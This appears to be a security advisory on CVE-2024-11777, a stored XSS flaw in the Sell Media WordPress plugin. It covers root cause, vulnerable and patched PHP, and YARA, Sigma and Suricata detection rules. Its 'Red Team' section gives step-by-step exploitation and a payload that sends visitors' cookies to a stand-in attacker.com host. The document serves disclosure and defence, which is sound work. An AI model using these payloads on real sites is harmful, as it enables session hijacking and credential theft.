CVE-2024-11777

Executive Summary

CVE-2024-11777 is a Stored Cross-Site Scripting (XSS) vulnerability in the Sell Media WordPress plugin, affecting versions up to and including 2.5.8.5. The flaw resides in the sell_media_search_form_gutenberg shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin's shortcode handling. No public exploit code or proof-of-concept (PoC) is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for sites with untrusted contributors.

Supply Chain & Package Security

This vulnerability is specific to the Sell Media WordPress plugin, which is distributed via the WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is part of the broader WordPress ecosystem and is not an NPM, PyPI, Go, or Ruby package. Users should verify the integrity of the plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access, but Contributor-level permissions are often granted to multiple users. Successful exploitation can lead to persistent XSS, affecting all visitors to the compromised page.

Deep Dive & Mechanics

The vulnerability is in the sell_media_search_form_gutenberg shortcode, which is used to render a search form via the Gutenberg block editor. The shortcode accepts user-supplied attributes (e.g., title, placeholder, button_text) that are directly output into the page without proper sanitization or escaping.

Root Cause:

• The plugin uses shortcode_atts() to merge user-supplied attributes with defaults but fails to sanitize or escape the attribute values before outputting them in the HTML.
• For example, an attribute like title="<script>alert('XSS')</script>" would be rendered as-is in the page source, allowing script execution.

Attack Flow:

1. An attacker with Contributor-level access creates or edits a post/page.
2. The attacker inserts the [sell_media_search_form_gutenberg] shortcode with a malicious attribute, e.g., [sell_media_search_form_gutenberg title="<script>/* malicious code */</script>"].
3. When the page is saved and viewed by any user (including admins), the injected script executes in their browser.
4. The attacker can then steal cookies, redirect users, or perform other malicious actions.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.5.8.5):

// In sell-media.php or similar
function sell_media_search_form_gutenberg_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Search Media',
        'placeholder' => 'Search...',
        'button_text' => 'Search'
    ), $atts);

    // Direct output without escaping
    $output = '<div class="sell-media-search-form">';
    $output .= '<h3>' . $atts['title'] . '</h3>';
    $output .= '<input type="text" placeholder="' . $atts['placeholder'] . '" />';
    $output .= '<button>' . $atts['button_text'] . '</button>';
    $output .= '</div>';

    return $output;
}
add_shortcode('sell_media_search_form_gutenberg', 'sell_media_search_form_gutenberg_shortcode');

Patched Code (hypothetical fix):

function sell_media_search_form_gutenberg_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Search Media',
        'placeholder' => 'Search...',
        'button_text' => 'Search'
    ), $atts);

    // Properly escape output
    $output = '<div class="sell-media-search-form">';
    $output .= '<h3>' . esc_html($atts['title']) . '</h3>';
    $output .= '<input type="text" placeholder="' . esc_attr($atts['placeholder']) . '" />';
    $output .= '<button>' . esc_html($atts['button_text']) . '</button>';
    $output .= '</div>';

    return $output;
}
add_shortcode('sell_media_search_form_gutenberg', 'sell_media_search_form_gutenberg_shortcode');

Key Differences:

• esc_html() is used for HTML context (title, button text).
• esc_attr() is used for attribute context (placeholder).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Sell Media plugin <= 2.5.8.5.
• A user account with Contributor-level permissions or higher.

Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. In the editor (Classic or Gutenberg), insert the shortcode with a malicious attribute:

   [sell_media_search_form_gutenberg title="<script>alert('XSS')</script>"]
   

4. Publish or preview the page.
5. The script executes when the page is loaded.

Advanced Payload:

[sell_media_search_form_gutenberg title="<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing the shortcode sell_media_search_form_gutenberg with suspicious attributes (e.g., <script>, onerror=, javascript:).
• Review user activity logs for unusual shortcode usage by Contributors.

Prevention:

• Restrict Contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
• Apply input validation and output escaping as shown in the patched code.

Indicators of Compromise (IOCs)

• File Indicators:

  • Presence of the shortcode [sell_media_search_form_gutenberg] with unescaped HTML/JavaScript in post content.
  • Modified plugin files (e.g., sell-media.php) containing malicious shortcode handlers.

• Network Indicators:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Suspicious document.cookie exfiltration in web logs.

• Log Indicators:

  • WordPress audit logs showing shortcode insertion by non-admin users.
  • Web server logs with POST requests containing XSS payloads in post_content.

Detection Engineering

YARA Rule

rule CVE_2024_11777_Sell_Media_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Sell Media plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11777"
    strings:
        $shortcode = /\[sell_media_search_form_gutenberg[^\]]*\]/ nocase
        $xss_payload = /<script[^>]*>|onerror=|onload=|javascript:/ nocase
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2024-11777 Sell Media Stored XSS
id: 8a3f2c1e-5d7b-4a9f-8c2e-1b3d4e5f6a7b
status: experimental
description: Detects stored XSS via Sell Media shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'sell_media_search_form_gutenberg'
        http.request_body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11777 Sell Media Stored XSS"; flow:to_server,established; content:"sell_media_search_form_gutenberg"; http_uri; pcre:"/<script[^>]*>|onerror=|onload=|javascript:/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, or restrict its use to trusted administrators only.
2. Remove Contributor-level access from untrusted users until a patch is applied.
3. Manually audit all posts/pages for the shortcode and remove any suspicious instances.

Long-term Fix:

• Apply output escaping (esc_html(), esc_attr()) to all shortcode attributes as shown in the patched code.
• Monitor the vendor's website for an official patch and update to the latest version when available.

Workarounds:

• Use a security plugin (e.g., Wordfence) to block XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Valters IT
Securing Digital Frontiers